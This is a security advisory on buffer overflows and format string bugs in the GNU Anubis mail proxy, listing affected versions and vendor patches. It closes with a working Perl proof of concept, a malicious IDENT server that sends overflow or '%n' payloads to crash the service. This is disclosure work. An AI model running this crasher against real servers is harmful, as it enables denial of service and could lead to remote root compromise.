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GNU Anubis is "an outgoing mail processor. It goes between the MUA (Mail User Agent) and the MTA (Mail Transport Agent), and can perform various sorts of processing and conversion on-the-fly in accordance with the sender's specified rules, based on a highly configurable regular expressions system. It operates as a proxy server, and can edit outgoing mail headers, encrypt or sign mail with the GnuPG, build secure SMTP tunnels using the TLS/SSL encryption even if your mail user agent doesn't support it, or tunnel a connection through a SOCKS proxy server".
Ulf Harnhammar has found two buffer overflows and three format string bugs in GNU Anubis. They can all be remotely exploited, potentially to get root access, as GNU Anubis usually runs as root and drops its privileges after executing some of the vulnerable functions. |
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Credit:
The information has been provided by Ulf Harnhammar.
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Vulnerable Systems:
* GNU Anubis versions 3.6.2, 3.9.93, 3.9.92, 3.6.0, 3.6.1
Immune Systems:
* GNU Anubis version 3.6.2 with vendor patch, 3.9.93 with vendor patch, latest CVS
a) There are two buffer overflows in the function auth_ident() in auth.c. The overflows are caused by sscanf() format strings of the type "%s" instead of "%63s".
b) There are format string bugs in three instances of the syslog() call. They are located in the function info() in log.c, the function anubis_error() in errs.c and the function ssl_error() in ssl.c. The vulnerable functions take strings partially made up of user-supplied data, and use them as the format string instead of using them as parameters ('syslog(priority, string);' instead of 'syslog(priority, "%s", string);'). These format string bugs become a bigger problem if you set termlevel to VERBOSE or DEBUG, as GNU Anubis then will log more data with the syslog() facility.
Solution:
The vendor has released official security patches for 3.6.2 and 3.9.93. They can be downloaded from the program's homepage. They correct both the buffer overflows and the format string bugs.
Proof of concept:
One of the methods of attacking GNU Anubis is through IDENT data, as it always connects to the client's IDENT server to get more information about the client. I wrote a simple malicious IDENT server in Perl. It crashes the current instance of GNU Anubis, either by using the buffer overflows or by using the format string bugs.
Here it is:
#!/usr/bin/perl --
# anubis-crasher
# Ulf Harnhammar 2004
# I hereby place this program in the Public Domain.
use IO::Socket;
sub usage()
{
die "usage: $0 type\n".
"type is 'a' (buffer overflow) or 'b' (format string bug).\n";
} # sub usage
$port = 113;
usage() unless @ARGV == 1;
$type = shift;
usage() unless $type =~ m|^[ab]$|;
$send{'a'} = 'U' x 400;
$send{'b'} = '%n' x 28;
$sendstr = $send{$type};
$server = IO::Socket::INET->new(Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
Reuse => 1) or
die "can't create server: $!";
while ($client = $server->accept())
{
$client->autoflush(1);
print "got a connection\n";
$input = <$client>;
$input =~ tr/\015\012//d;
print "client said $input\n";
# $wait = <STDIN>;
# $wait = 'be quiet, perl -wc';
$output = "a: USERID: a:$sendstr";
print $client "$output\n";
print "I said $output\n";
close $client;
print "disconnected\n";
} # while client=server->accept
__END__
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